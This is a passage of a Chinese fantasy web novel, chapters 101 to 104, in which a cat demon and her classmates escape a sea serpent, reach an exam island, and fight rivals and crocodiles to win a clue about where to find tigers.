但这甚至不能让她短暂地喘口气，她的法术不适合在水中使用，更别提在妖法减弱的情况下。目前最好的办法只能是赶快游到水面上，可她拼命游着，蓦然回首，自己的半条腿已经游在对方大张的嘴中，只需转瞬，她就能入蛇腹了。
叶米的脑子里已经想着如何在布满毒液的蛇腹中杀出一条路来时，身下那蛇却忽然惨叫一声，蛇头疯狂一甩，就要往后看去。
猫妖蛇口逃生连忙游远了一些，顺着蛇头的方向看向它的蛇尾，只见蛇尾处有一只大螃蟹正死死地用她两只大钳子夹在蛇尾上，姿势更像是抱着，皮糙肉厚的蛇尾竟然也被夹得严严实实的，可见那是两道如何深
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邃的伤口。
水蛇气得要死，转头就要去收拾那不知好歹的螃蟹，叶米见状，一把抱住它的脑袋，就要去戳它的另一只眼睛。水蛇怎么能让她如愿，使劲地甩着脑袋，叶米撑了一会，趁机往蛇头上一蹬，顺着它的暴力一举往上冲去，猛然破出水面。
趴在木筏上的万情贞连忙跳起来：“猫大人！！胡大哥下去了——”
叶米没时间跟他废话：“让开！”
万情贞：怎么让？？
他不太清楚，不过还是扒拉着水往边上游着，眼神一直盯着空中施法的叶米看，只见她用法术悬停在空中施法，结印的手势飞快，豆大的光点在她指尖急速膨胀，越来越大，亮得万情贞下意识合上眼睛避其锋芒。
“砰！”
只听一声巨响，水面宛若爆炸一般，大海被撞开一个巨大的水坑，激起惊涛骇浪，没游远的万情贞来不及反应，抱着木筏被迫飞到了空中，但木筏下一瞬却变成了木头碎片，他吓得惨叫连连、手舞足蹈。
水坑之中，胡和烈抓着一只螃蟹飞了出来，冲猫妖大骂：“你想杀了谁啊！？”
叶米法力大耗，不好悬停空中，水下又没有了支撑点，只好变做原形跳到胡和烈头上，还不忘记回答他：“蛇。”
胡和烈往头上扒拉：“从我头上下来！”
于是猫就跳到了他肩膀上。
被胡和烈提着的螃蟹精朝猫挥挥钳子：“叶米，刚刚太吓人了，我差点要被那蛇吞下去了呜呜！”
猫朝她点点头：“这次多亏了你。”
螃蟹精何时受到过这样的夸奖：“也没有啦嘿嘿……”
胡和烈还有些心有余悸呢，转头瞪叶米：“你刚刚差点一箭三妖！”
“我可是有准头的。”
像是回应她的话一般，水里有什么东西浮了上来，几妖定睛一看，是一个缺了一只眼睛、但另一只依旧死不瞑目的蛇头，蛇头后还连着一些蛇身，尾巴的部分是瞧不见了，截断之处的皮肉像是被爆炸撕裂了一般，破烂不齐，血肉模糊。
“打蛇打七寸，”胡和烈肩膀上的猫说，“不过这蛇太长了，我只能估算大概，这招又太耗灵力，短时间只能用一次，为保证一击毙命只好扩大些范围，你们在蛇尾，也许有些波及，不过……死不了。”
胡和烈：……
螃蟹精：……
万情贞千辛万苦地游了过来，差点和浮上来的蛇头贴贴，吓得尖叫一声，后来发现蛇已经死了，又发泄地踹了蛇头一下，骂骂咧咧道：“臭蛇，折腾我们一番，现在木筏都没了！”
木筏是叶米弄没的其实，不过万情贞自然不能怪猫大人。但这变成了一个问题，他们总不能让胡和烈提溜着飞过去，毕竟规则是说要靠自己走的，马上就要最后一关了，总不能这时候挑战规则。
“欸！”螃蟹精的蟹钳往边上一指，“那边还有一根……伞？”
101. 第 101 章
是之前万情贞买的伞，竟然还是完好无损的。
几妖实在没办法，只好全部化作原形，这样挤在伞上才不会让它沉下去。
于是这油纸伞上就坐了一只三花猫，三花猫左边有一只螃蟹，右边停着一只扑棱蛾子，尾巴上卷着一本书。
至于行囊？早在一开始就不见踪影了。
不知过了多久，天色已经明朗，水面照映着蓝天，变得格外亮堂。
“好饿啊，”猫尾巴上的那本书说，“可怜我们的干粮，不知道被浪卷到哪去了。还要什么时候才能到百洞岛？明明看着不远了啊。”
是的，那座岛似乎就在眼前，越来越近、越来越大了，也许正是因为看见了，所以才觉得这伞漂的好慢。偶尔螃蟹会下水推一会，又累兮兮地爬上来喘气，那场和水蛇的大战几乎耗费了他们几妖的力气。
虎头蜂飞了一会，停在了猫耳朵上：“为什么没看见其他妖精？”
猫觉得有些痒，动了动耳朵把他赶走：“不知道。”
虎头蜂飞啊飞：“昨晚上那么大动静，若是有妖在海上不可能没察觉。”
猫打哈欠：“嗯。往好点想，说不定他们都被蛇吃了，如此我们就少了许多对手。”
虎头蜂：……这是往好点想啊？
不过相处这么久了，他也听出来猫是在开玩笑，她就喜欢开这种吓妖的玩笑，其实没什么恶意……也许有点？
暂且不重要，虎头蜂又道：“或许他们来得比我们晚，当然也有很多妖精不是从我们这一侧过海的，可能也是我们倒霉，好巧不巧碰上了这蛇。”
螃蟹精吐了个泡泡：“可是这附近就是我们最终考核的岛，师父他们没发现这条蛇吗？”
虎头蜂飞啊飞：“你的意思是，这条蛇也是考核的一关？”
书灵哇哇大叫：“这条水蛇如此恐怖，我们刚刚真的差点要死了！要不是有猫大人在……要不是……嗯？”
他说到这，若有所思起来：“是不是那些夫子们知道以猫大人和胡大哥的妖力，怎么说都不至于丧生蛇口，所以才放任那条蛇在我们的必经路上？”
“很有这样的可能，”猫坐在伞上，不动如山，“如今我的法力消耗过大，在这木头上不好打坐调养，估计还要一两日才能完全恢复，若是岛上已有埋伏，我怕是不好以一敌多。”
“什么以一敌多，”虎头蜂骂骂咧咧，“你当我死了？”
书灵嘿嘿：“其实有时候可以当我死了。”
“我的意思是，”猫说，“那条蛇似乎是冲我们来的。”
虎头蜂一愣：“你是说……师父他们是故意的？为了消耗我们的灵力？”
猫动了动耳朵：“一点恶意揣测。”
“太过分了！”毕竟不是他师父，书灵就光明正大地埋怨道，“怎么能这样！已经有我跟谢珍珠拖猫大人和胡大哥的后腿了，这还不够吗？？”
谢珍珠在边上应和：“就是就是！难道我们还能上了岛就迫不及待地把其他妖全踹了不成？”
叶米是有这个打算，迟则生变嘛，她原本是打算上了岛见一个是一个的，所以这会没应和，只是仰着脑袋看云朵。
“欸，要到了！”
随着万情贞的一声，几妖纷纷扭头看去，只见那百洞岛的边岸就在几丈之外，整座岛屿巨大壮观，左右望去瞧不见边缘，岛上层层密布着树木，高低起伏的地势透着一股危险的神秘。
“走！”
猫妖跃入水中化作人形。
几妖迫不及待地朝岸上游去，心情非常雀跃。上了岸后，万情贞把伞拿起来打开看了看，发现还是完好无损的，便开心地抖了抖水，让猫大人帮着弄干，抱在怀中珍惜地说：“我那么多行囊，现在只剩下你了，唉！”
沙滩上很干净，一眼望去，淡黄的沙子像柔软的地毯，阳光下闪着细细的光。叶米扫视一圈，又嗅了嗅鼻子：“没看见脚印，没闻见妖味。不排除是从其他方位上岛的。”
胡和烈点点头：“先进去看看。”
沙滩上便留下了几排间隙不同的脚印，风一吹过，沙粒悄悄飞腾，深深浅浅的脚印忽地被覆盖消失不见了，几妖并没察觉。
进了林中走了一会，忽然闻见了一股清甜的香味，胡和烈的肚子咕咕叫了起来，他仰头望了望，瞧见前方有几颗长势颇好的果子树，红彤彤的果子在绿叶的映衬下显得格外水灵。
扑棱蛾子当即长出翅膀飞了起来，从树上摘了许多果子下来，分给同伴们：“闻着这味就饿了，好在这岛上看起来不缺吃的。”
万情贞笑嘻嘻地接过果子：“是啊，总不能让我们饿着打斗吧？”
谢珍珠咬了口果子，水分很足，甜中带一点酸：“还挺好吃的，这是什么果？”
胡和烈嚼吧嚼吧：“不知道啊。”
三妖：？
叶米把递到嘴边的果子拿了下来：“不知道你就吃？”
胡和烈不以为意，脑袋往边上转了一周：“走这么久也没看见其他果子树了，要是这还不能吃，我们啃树叶啊？树叶也不一定没毒呢，还不如吃果子。”
本来咬了果肉在嘴里不知道该不该咽的万情贞和谢珍珠想想也是哦，便不安心地吞下去了，后者还道：“都已经到最后一关了，师父他们肯定都在哪里看着呢，不至于让我们毒死的。”
万情贞嚼吧嚼吧：“有道理。”
叶米：……
猫转了转手中水红的果子，看不出什么花样，几妖之中胡和烈最爱吃树上的果子，猫是没有经验的。其实在他们路上随便摘果子吃是常有的事，很多果子胡和烈也叫不上名来，反正是吃了，他们妖的体能比人类强，目前没遇到什么事……
但也许是因为这里是百洞岛，最后的考核场所，叶米心中有万分的警惕，想了想还是把几个果子收了起来，打算之后再看。
再往里走，他们发现了
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一些洞穴，多是从一棵树的边上开洞，然后往底下挖出一个通道来，有头有尾两处进出，大部分洞穴里边已经堆了一些尘土，洞口散着落叶灰尘，显然很久没人使用了，一个不小心就要踩进去。
“哎呦！”
第三次一脚踩入洞中，万情贞又气又无奈，被胡和烈拉着胳膊扶起来，委屈地埋怨道：“哪来的这么多的地洞？这座岛以前怕不是全是鼹鼠精吧？”
谢珍珠说：“兔子也喜欢挖地洞。”
叶米道：“还有一些狐狸。”
胡和烈：“土拨鼠、穿山甲，狗獾……哦，蚯蚓也是。”
叶米忽然想起来：“对了，刺猬也算。”
万情贞：……
“知道了知道了，”他无奈地叹了口气，拍拍身上的尘土和落叶，“看来还是搞不清这岛上到底有什么古怪。”
叶米说要找个近水源的地方当驻地，于是他们一边找水一边走。好不容易走到一座山边，边上就有一条瞧着挺清澈的小河，山体上有十几个大小的山洞，他们耐着性子一一搜查过了，发现都没有妖，于是就选了一个贴着地面的、相对还算干净的洞穴。
几妖都说渴了，去那条小河里喝水，这时候叶米才拿出先前收起来的果子吃了，毕竟这一路走来除了这果子之外，他们没找到其他能吃的东西，而且过了这么久，其他三妖看着也没事，她便也稍微放心下来。
叶米让谢珍珠去河里看看有没有鱼虾，螃蟹精于是下去兜了一圈，冒出水面失望地摇了摇头：“没有瞧见一只……要不要去下游看看？”
“不必。”叶米抛了抛手中的红果子，“还未到岛上时，附近的海域已经不见鱼类了，也许这岛上就是没有鱼虾……可能真的只能吃这果子饱腹。”
“而且没瞧见其他能吃的生灵，”胡和烈说，“只吃果子吃不了肉也是个问题。”
万情贞抹了把唇边的水：“可能是要我们速战速决？如果有鱼有肉的，活得不要太滋润喽。”
这么说也有道理。
他们先把选好的洞穴清扫了一番，又摘了许多嫩叶铺了一张厚实的大地毯，这就是休息睡觉的床了；入秋之后夜里天凉，在这大海之中的孤岛上更甚，万情贞和谢珍珠捡了许多掉落的枝条回来，堆成了一个木柴堆，晚上便能点火取暖。
胡和烈也回来了，抱着一张大叶子，里头是满满当当的红果子；叶米在洞穴门口立了法术屏障，上头有她的妖味，算是起到一些震慑作用，还能挡风。
忙完这一阵，天完全黑了下来。几妖围着火堆坐着，扭头往外边一看，只瞧见漆黑的夜里满天的星星，手心传来热烘烘的温暖，火星子时不时噼里啪啦一声，衬着洞穴里格外安静。
烤火烤渴了，就抓两个果子吃，偶尔说一些乱七八糟的话，倒是有一份难得的安宁。
“好安静啊，”谢珍珠把看着洞外的头扭回来，“说不定，这座岛上真的只有我们几只妖呢。”
102. 第 102 章
火光照亮了胡和烈有些发呆的脸，他似乎有一半的脑子在放空：“不知道叫我们来这岛上到底要做什么……不是要等妖全齐了才公布比试规则吧？那要等多久……”
叶米推测：“不可能会让我们等这么久，也许等到了一定时间、或是妖到了一定数量，就会开始了，至多两三日。”
“猫大人说得有道理。”万情贞跃跃欲试道，“不如我们明日就准备一些陷阱？这路上有这么多地洞，虽然来时给我们添了不少麻烦，但转念一想，不是不可利用的呀。”
“哈——”谢珍珠打了个哈欠，“有什么事明早再说吧，好累啊，昨晚上被那条水蛇搞得不安宁，坐在伞上过来也不好睡，我现在真是太困了。哈——我们先睡觉吧。”
大家被她的哈欠传染，一个个也张大嘴巴打起哈欠来，几妖其实都很困了。
胡和烈看向叶米：“要不要守夜？”
叶米抹去眼角的泪珠，点了下头：“我先守一个时辰，到时候叫你们。”
“好。”
于是就这么决定了，叶米走到洞口边上化作原形坐着，其他三妖也变成原形往树叶地毯上一躺，翻个身舒舒服服地闭上了眼，姿态各异地进入了梦乡。
过了一个时辰，叶米把胡和烈拍醒，交换守夜的职责。胡和烈打着哈欠有些懵，坐在洞口边还打算发呆呢，却见叶米开始打坐调息，惊得一激灵，清醒了不少：“你还要修炼啊？”
叶米闭着眼睛“嗯”了一声：“必须尽快把灵力恢复，有事叫我。”
“……成。”胡和烈也是佩服她了，这么一对比显得自己好懒散还没危机意识，便琢磨着等会叫万情贞起来的时候，自己也不睡了，在这考核的紧要关头抱抱佛脚好了。
中间什么时候换了班，叶米是没察觉的，等她恢复了七层灵力之后再睁开眼，外头已是天光大亮，阳光穿过洞口照射进来，洒下一片光影。
她定睛一看，万情贞靠在洞壁上半梦半醒打瞌睡；转过头，又见胡和烈横七竖八地躺在地上，双腿呈现一个半交叉的姿势，像打坐中途撑不下去昏睡了；再往里瞧，深深浅浅的绿色地毯中，安安静静趴着一只螃蟹。
叶米轻笑一声，看来大家这晚上都睡得不错。
她没急着把几妖叫醒，先是出了洞口伸了个懒腰，舒展了一下身体。今日的天气好得不像话，湛蓝的天缥缈的白云，阳光也很充足，前方的小溪清澈活泼地流淌着，水面熠熠闪亮。
一醒来就见到这样的天气，不得不让人心情颇好，神经放松，差定要忘了这里是考核的场所。
叶米去洗了把脸清醒清醒，忽然听见鸟叫扑腾的声音从前边的林子中传来，她抬头一看，空中飞过几只不成队伍的鸟儿，一团儿地往远方飞去。
还未等她多想，眼底似乎有什么东西的影子划过，猫垂眸一看，是两只嬉水的鱼。
明明昨天……
这座岛好像一夜之间活了。
叶米返回洞穴，叫醒同伴们说了这事，胡和烈打着哈欠道：“可能之前是师父动了手脚……这样也好，我们饿了就有肉吃了。”
万情贞揉揉眼睛，茫然道：“奇怪，我是什么时候睡着的……”
“肯定是老早就睡了，”螃蟹精不好意思地挠挠脸，“昨晚是先轮到你守夜的，结果你都没叫我起来，我倒是睡了个好觉，嘿嘿。”
叶米也料到了：“无碍，反正昨晚无事发生……不过今天就不一定了。”
万情贞比了个加油的手势：“今晚我保证打起十分的精神！”
叶米“嗯”了一声，其实心里不太在意，反正若是有什么破了她的屏障，她也会立刻醒来。
将昨晚剩下的果子当做早餐吃了，几妖还觉得肚子空空荡荡，便去小河里抓了两条鱼烤了吃，暖呼呼的肉食下肚，顿时感到精神气十足，整装待发好，就准备去林子里兜一圈。
可刚迈出洞穴一步，天上忽然传来熟悉的声音：“各位万妖堂的学子们，早上好。”
是元善老祖的声音，几妖面面相觑。
元善老祖继续道：“辛苦大家历经千辛万苦来到此处，如今，最后的成仙考核就要开始，由老夫来告知你们最后的通关规则。”
被扔入海水中者淘汰。
主动投降者淘汰。
规定时间内未完成任务者淘汰。
“接下来公布第一日的任务，每组请取得林中老虎的琥珀之目，琥珀之目乃是老虎刚死时，头部枕卧之处两尺深处的宝物，由老虎的目光沉默入地而形成。截止时间，明早卯正（6:00）验收，未完成任务组淘汰。”
“呵呵，规则便是如此简单，”元善老祖还笑呵呵了一下，声音万分慈爱，“我们万妖堂的学子们，个个都是优秀的妖才，不论是谁笑到最后，我们几位夫子都是乐见其成。希望大家秉持和睦共处、相亲相爱的理念，快乐地游戏吧。”
和睦共处、相亲相爱，快乐地游戏？
叶米扭扭脑袋活动脖子。
胡和烈嘎巴嘎巴两只拳头，甩了甩大胳膊。
元善老祖的声音消失之后，几妖讨论起来，万情贞道：“只是知道一个任务，但不知道岛上有多少妖精，林中有多少老虎……会不会不够分啊？”
“肯定不够分，”胡和烈哼了一声，“谁都够分怎么淘汰人？”
谢珍珠琢磨着：“不一定呢，也许是够分的，但老虎很厉害，不一定打得过……不过我们有叶米和胡大哥在，肯定没问题的！”
叶米挑了下眉：“你们二人说得都有可能。而且师父说截止时间是隔日早上卯正，而不是一夺得琥珀之目便算成功，也就是说，默认了不同组之间偷窃掠夺的行为。打不过老虎、或是找不到老虎的，只要在卯正时拿到琥珀之目也成。”
“还有一事，我觉得有些古怪。”谢珍珠举手，“万妖堂一直不赞同无故杀生的，我猜这些老虎定不是普通的老虎，指不定是什么法术法宝编出来的。”
叶米朝她颔首：“是，所以更要小
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心。”
“走吧，”胡和烈道，“去林子里找老虎。”
万情贞撩袖子：“走走走！”
他们一进入林中，叶米就敏锐地闻到了妖味，交叉混杂着，有些她还有几分熟悉，大概是先前交手过。
一边的树上忽地跳过一只松鼠，树枝树叶震动出声，万情贞被小吓了一跳，瞥了一眼瞧见松鼠尾巴，本没在意，下一秒却听见一声尖锐的惨叫，那只松鼠眨眼就被猫抓了过来。
“吱吱吱！”
叶米提溜着松鼠的尾巴：“装什么，我记得你，你是……哪个班的叫什么来着，说人话。”
松鼠：……这叫记得啊？
叶米只是对她的妖味有一分熟悉，其他更多的不记得了，见它装傻，哼笑一声道：“不说话现在把你扔海里去。”
“饶命、饶命！”那松鼠连忙口吐人言，是个细细的女声，“叶米，我只是一只松鼠精，对你们组产生不了什么威胁的，放过我吧！”
胡和烈在边上抱着胸：“你只是一直松鼠精，还敢胆大包天地来监察我们，我们刚进林中就被你瞧见了，看来你在此守候已久啊？你有何居心？”
见他们这么快就发现了自己的目的，松鼠精吓得尾巴炸毛，连连求饶：“不是不是，我真不是有意的……是、是王老大派我来的，我只是一只小松鼠，哪敢违背他的命令啊……”
“王老大？王生威？”谢珍珠记得这只老虎妖，“你和他是一组的？”
“是、是啊。”松鼠精连忙点头，“他派我来找叶米的下落……而且不只是我，早上我在林子里遇到的许多妖，都在打探叶米的行踪呢……我、我刚刚遇见一只狗妖，它说在这附近闻到了你的妖味，我才来碰碰运气……”
几妖对视一眼。
叶米轻哼一声，松开了抓着松鼠尾巴的手，松鼠精连忙蹦跶着跑到了一边的书上，却不敢跑走，警惕地抱着树枝，看叶米的反应。
猫做出冷酷的表情：“回去告诉王生威，要想和我一决高下，最好是光明正大地来，别搞那些见不得妖的花样。不然……我不介意试试，杀死它这只老虎会不会得到琥珀之目。”
松鼠精：！！
“吱！”
它连忙落荒而逃。
“和预料中的不差，我们确实成了众矢之的，”胡和烈耸了下肩，“所以我们先前的策略……”
“照计划行事。”叶米竖着猫瞳，往深林中一瞥，仿佛看到了许多，“来一只，扔一只。”
万情贞听猫大人冷静的声音，瞬间充满了斗志：“来啊来啊，谁怕他们！”
谢珍珠用力点了点头。
叶米打算去海边看看，所以计划的路线是直穿过这片树林，打探一下环境，一边走一边找老虎的踪迹，顺手淘汰几个对手，
于是这么往前走着，先是撞上了一对只剩下两人的小组，瞧见叶米和胡和烈时，他们一妖正扒拉在树上扔果子，一妖在下面接，二妖俱是吓了一跳，动作都僵住了。
103. 第 103 章
“叶……”树上那只妖张了张嘴，“叶……”
叶米微笑：“嗯，是有许多叶子，毕竟是在树林里，不过这么大个林子，遇见你们真是缘分。”
妖一妖二：……
“我们组就剩我们两只妖了！”妖一道，“叶米，我们俩对你和胡和烈来说根本不值一提，不如、不如你就行行好，放我们一马吧……”
妖二连忙跟着求情：“是啊是啊，咱们就井水不犯河水……”
叶米轻笑一声：“你们既然知道自己妖法微弱，赢不得成仙之位，不如就到此结束，早日回去休息吧。怎么说也是到了最后一关，比之前就淘汰的妖精们好上不少了。”
“别别别啊！”妖一连忙从树上爬下来，嘴上是求情，眼珠子却提溜着打量逃跑的路，“我们好不容易才来到百洞岛，还没来得及观赏一下岛上的风景呢……”
“观赏风景？”万情贞大声嘟囔道，“我看你是还没来得及找到同伙、组团对抗我们猫大人吧！？”
妖一妖二：！
他们当然这么想过，大部分妖都有这样的心思，如今被这么拆穿了，那此时不跑更待何时？
只见他俩对视一眼，转头就跑，可哪里跑得过叶米和胡和烈，没两秒就被追上了，破罐子破摔地又想施法进攻，却被胡和烈两招打老实了。
两只妖被谢珍珠用找来的藤条捆住了手，可怜兮兮地表示不要被丢到海里去，他们自愿投降。
投降的话音刚落，只见二妖忽地眼睛一瞪，瞳孔失去了焦距，唰地站了起来转了个身，满脸木然地、一步一步地往某个方向走去，动作整齐划一，像被操纵的提线木偶，前后走着，逐渐深入林中。
几妖面面相觑，万情贞问：“他们这是要去哪？”
胡和烈收回视线：“可能是被引去哪里的阵法，传送走了。”
“走吧，”叶米手一挥，“抓紧找人，趁他们团结起来之前。”
“好！”
一个时辰之后，叶米带着小队来到了海岸边，这一路走来他们也没闲着，顺手送走了不少同窗，谢珍珠数了数，大概有十三只妖精。
来到海岸边，叶米看着洁白干净的沙滩，往前走了几步，而后又走了回来留下两排脚印，她在边上安静地看了会，胡和烈奇怪地问：“你在做什么？”
叶米指了指沙滩：“昨日我们是从那边上岸的，在我们之后应该也有妖精上来过，按理来说会留下许多脚印才是，为什么现在都没了？”
胡和烈奇怪她奇怪这个问题：“……没了就没了，说不定是为了方便我们隐藏行踪？”
叶米摇摇头：“这只是个沙滩，需要什么隐藏行踪？”
“那你说为什么？”
“我知道还问你们？”
“要不我们在这等等，”谢珍珠提议道，“看看我们现在留下的脚印会不会消失？”
万情贞咬了一口路上摘的果子：“不知道要等多久呢，会不会有些浪费时间啊？”
胡和烈也觉得没必要：“如果这是一个关键问题倒是可以留下来看看，若只是无关紧要的，那不影响整体局面。”
可关键不关键似乎不是现在能说了算的。
叶米想了想，觉得胡和烈说得有几分道理，便点点头：“好，那暂且这样。我们先进林中往东北方走，斜绕过树林去那座山边，找找有没有其他组居住的洞穴，先下手为强。”
她是从他们上岛地方为起点，分了三条线，西北，正北，东北，这么来回走一趟也差不多能搞清树林里大概的情况。
“好。”几妖都没异议。
于是他们便继续进入林中往东北方走，树林里都是大同小异的景色，不过这条线上有一条宽敞的大河挡住了前方的路，水色由边岸到中央愈深绿，上边飘着一些落叶浮萍，挡住了水下的景色，偶尔有气泡冒出来，说明里头有活物。
水面上有一片桥，说是一片，因为是由十几个被绳索连接起来的木头组成，并不稳定地在水上漂浮着，这桥寻常人走上去定是要一脚踩到水里去，必须要用轻功点着走。
这么一条拦路河挡在这里，上边还有这明晃晃写着“陷阱”二字的木头桥，没有古怪才不正常。
胡和烈会飞，走不走这木头桥对他来说都不是问题，他还能把其他妖顺带着提溜过去，不过叶米拒绝了他的提议，说要走桥过去。
万情贞不是很担心叶米出事，反倒在边上兴致勃勃地猜测：“这水里会有什么？不过什么都不会比我们遇到的那条大蛇恐怖。”
谢珍珠应和：“这条河宽还没那条蛇长呢，养不出这样的怪物。”
胡和烈问：“你干嘛非得趟这一趟浑水？”
叶米有时候真的觉得胡和烈需要动点脑子：“我们走了多久？”
“……两个时辰不到。”
“走了这么久，还没遇见一只老虎，却遇见了那么多同窗，你不觉得奇怪？”
“老虎太少了。”万情贞抢答道，“这样别说打不打得过了，根本就找不到啊，到时候通关全凭有没有碰上老虎的运气了。”
叶米欣慰地朝书灵一点头：“没错。所以我猜测遇到老虎需要一些条件……你们还记得先前万妖堂考核的时候，如何得知这些条件吗？”
胡和烈眼皮一跳：“打怪爆提示。”
“诶是是是！”谢珍珠也跳起来，“出来这么久，差点忘了之前在万妖堂考核的默认规则了……好险好险，要是我们就这么避开陷阱、一路平安地走下去，什么提示都不会有了。”
胡和烈微微颔首，过往的回忆涌现出来。想当初，他和叶米都是争着一只大怪爆提示，然后每次他都会输，在一边气得跺脚。偏偏猫看完提示之后还会毫不在意地告诉他，让他倍感羞辱。
不过也因此得到了只落她下风的好成绩。
当时他只觉得猫实在是讨厌至极，因为他又没办法不接受她伤自尊的提示……如今一回想，虎头蜂倒是别有一番滋味在心头，只要稍稍将这羞辱
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翻过来一看，怎么不算是一种善意呢，毕竟再找一只怪打，那是很耗费时间的。
没想到一路走来，他们已经是能相互配合打一只怪的关系了。
“胡和烈。”叶米叫他，“你先把谢珍珠和万情贞送到对面去。”
“哦……好。”
螃蟹精和书灵就先被提溜过去了，站在河对岸给他们加油打气。
叶米先是把脚放在最近的木头上点了点，脚尖差点碰到水面，她挑了下眉，把脚收了回来。
胡和烈在边上说：“你不是轻功很好？”
“你还会飞呢。”叶米指挥他，“你上，出事了我接应。”
胡和烈嘟囔着“明明就是你不想下水”，但还是老实地走到木头桥的边上，准备过河。他轻功也是不错的，一跃身“哒哒哒”地踩在木头上，飞快地就过了几块。
叶米注视着荡出波纹的水面，还没看出什么花样，胡和烈已经到对岸了。
猫：……
“回来，”她朝那边招招手，“走慢点。”
胡和烈喊：“这是一种身体反应！你来试试！”
猫来就猫来。
然后也是无事发生地到了对岸。
虎头蜂嘲讽：“你看吧。”
没办法，叶米只好换了实验小白鼠的对象：“万情贞，你去。”
万情贞心惊胆战：“我我我轻功不大好……猫大人，胡大哥，你们等会可要看紧我啊！”
叶米：“你宽心。”
万情贞咽了咽口水，在心中给自己打气，数了几声总算跳上桥去，第一下就湿了一只鞋，他吓了一跳，听到叶米在后边说“不要停留”，一咬牙迈上第二只脚，每一步都要沉到脚踝左右，但好险给他过了一段路。
他的速度不快，与此同时，叶米感到水面下有动静传来，不大不小，但数量似乎不少。她和胡和烈对视一眼，都没动弹。
变故就发生在万情贞走到河中央的时候，在这里他是最害怕的，毕竟距离两岸是同等的远，怎么跑都不方便，所以那水面下的东西也聪明地挑中这时机，当他踩上那块木头、脚踝浸透河水的时候——
“哗！”
划破寂静的巨响，两只巨鳄猛然破水而出，一左一右，一上一下，似乎已经默契十足地做好了咬哪里的准备，比如上面那只咬头，下面那只咬脚，这样就好将猎物一分为二。
万情贞第一时间还没反应过来，下一瞬就惨叫：“啊救命啊！”
这个时候他已然失去了轻功，身子一歪就要倒，电光火石之间扭头一看，边上的水面下浮出了数不清的鳄鱼头。
那如盔甲般的鳞片，像是嶙峋的石头长在了身上，一排排诡异的突起纹路，在万情贞心中引起同样参差的鸡皮疙瘩。
万情贞两眼一翻，几乎昏厥：我嘞个老天……
自然是没让他真的惨遭鳄口的疼爱，胡和烈闪现似的飞过去把他拎起来，叶米两三步踩着木头飞到水面上，两手一挥就是杀。
104. 第 104 章
一时间水花喷溅，那飞起来吓书灵的两只鳄鱼没反应过来，转瞬之间就被砍下了长嘴，死倒是没死，只是也没用了，瞪着眼睛沉入水中，两张长嘴变成四瓣，砰砰砸在其他鳄鱼头上，深红色的血液模糊了几颗突眼。
这下是惹起众怒了。
哗啦——
数不清的鳄鱼头从水面冒出来，从边上看去场景非常壮观，仿佛组成这条河的不是水而是鳄鱼，几十张嘴开开合合，长长的像钳子，深长有力，不小心一脚踩入的话，大概也不用挣扎了。
它们把那摆设用的木头桥碎尸万段，像是在发泄和威胁，它们咆哮着、发出低吼的鸣叫声，震动水面和周边的树叶波浪连连，荡出去好远，土地似乎也在微微颤抖。
气势确实唬人。
可惜碰上的是叶米……哦还有胡和烈。
猫妖脚步轻快地在一张张鳄鱼嘴上蹦跶，双手施展法术的动作快而准，旋转跳跃后空翻，仿佛在跳舞一般流畅优美，而在她轻松的表演之下，一只只鳄鱼惨痛地失去了自己宝贵的大长嘴。
她也不赶尽杀绝，却让它们生不如死、失去尊严，瞪着充满怨恨的眼珠子不甘心地沉入河底。
与此同时，胡和烈则是用他的螫针一针针地穿透鳄鱼的嘴，有时候不巧没逮到它们闭嘴的时机，只好退而求其次地穿透上颚或是下颚，崩出的血液浸满了鳄鱼的口腔，这下是名副其实的血盆大口了。
他像串糖葫芦似的把鳄鱼们叠在一起，大概三四只左右的模样，这有两条人长的鳄鱼仿佛没有重量一般被这么一甩，螫针一挥而下，瞬间开膛破肚，血液像小瀑布般哗啦洒在水面上。
看他们两个杀妖像是在看表演，谢珍珠和万情贞在边上看得可激动了，蹦蹦跳跳地拍手欢呼，完全没注意到自己身后不远处的一片灌木丛后，冒出了三个脑袋。
“我的天爷，”脑袋A呆愣地看着河面上的景况，语气悲伤，“老大，我怎么感觉叶米和胡和烈的法力更胜一筹了？”
老大说：“你感觉个屁，他们二妖的法力其实你能估量的？”
脑袋A：“哦，那也是。”
脑袋B道：“老大，怎么他们组有四只妖，这不公平！”
“不公平？哼，这才算公平。”老大嫌弃地瞪B一眼，“要是那组里只有胡和烈和叶米，我们找谁下手？这不得整两个拖后腿的，我们才有可乘之机？”
脑袋A：“哦，原来是这样！老大英明。”
脑袋B：“那要怎么下手啊？”
老大皱起眉头，眉心竟然皱出一个王字：“光凭我们三个不好下手，啧，我不是让你们去找妖联手？找到没？”
脑袋A：“说来也奇怪，本来找了两组的，刚刚我用飞叶术去联系，但怎么也找不见了，不会是被淘汰了吧？”
老大叹了口气：“走吧别看了，下次找着妖就一起走，也好照应。”
“收到！”
话分两头，这一边的叶米和胡和烈也数不清自己杀了几只鳄鱼，反正反应过来时，水面上飘着的除了鳄鱼残缺的尸体外，只有黑红的水面……或叫血面也成。打到后期，那些鳄鱼知道碰上了硬骨头，该逃的都逃了。
叶米和胡和烈回到岸边，四妖一起等待结算。
很快，漂在水面上的血液浮到了空中，渐渐汇聚成一行字：
【夜深不见月处见虎】
“夜深不见月处见虎……”谢珍珠琢磨着，“就是说要等晚上没月亮的时候那些老虎才会出来？”
“是不见月处，见虎。”写书的书灵咬文嚼字，“说不定今晚一直有月亮呢？我看是要找个瞧不见月亮、月光又照不到的地方。”
胡和烈仰头往天上看了看，这会还是大白天，枝叶茂密的树木挡住了不少光线，一路走来时不时会有一片灰暗。
“月亮从东方升起，西方落下……”叶米看了看东方，又看看西边，“找一座南北走向的山，东升时去西边，西落时换面。”
胡和烈：“我飞上去看看。”
他腾飞而起，唰地越过枝叶，飞到半空之中，鸟瞰着这座神秘的岛屿，天是蓝的天，地是绿的树，青山如黛点缀这两片颜色，确实是生机勃勃的一座岛。胡和烈在空中转了两圈，缓缓落下地来，朝一方一指：
“往那边走。”
和他们先前打算走的东北方没偏差太远，反正都是往山的地方去。就这么又走了半个时辰，解决了两只落单的妖，总算到了那座山脚下，扒拉开挡在山脚的一些花草树木，发现了许多洞穴。
那来都来了，几妖把洞穴都“清扫”了一通，又解决了几只同窗妖，还霸占了一个人家已经收拾好的、干干净净的洞穴，打算当临时的驻所，呆到天黑。
预料到今晚注定不安宁，几妖决定先睡一个时辰，养好精神为晚上做准备。由精神足不足都不太重要的万情贞在边上守着，另外三妖睡了个还算踏实的好觉，眼睛一睁一闭，外头已是天黑。
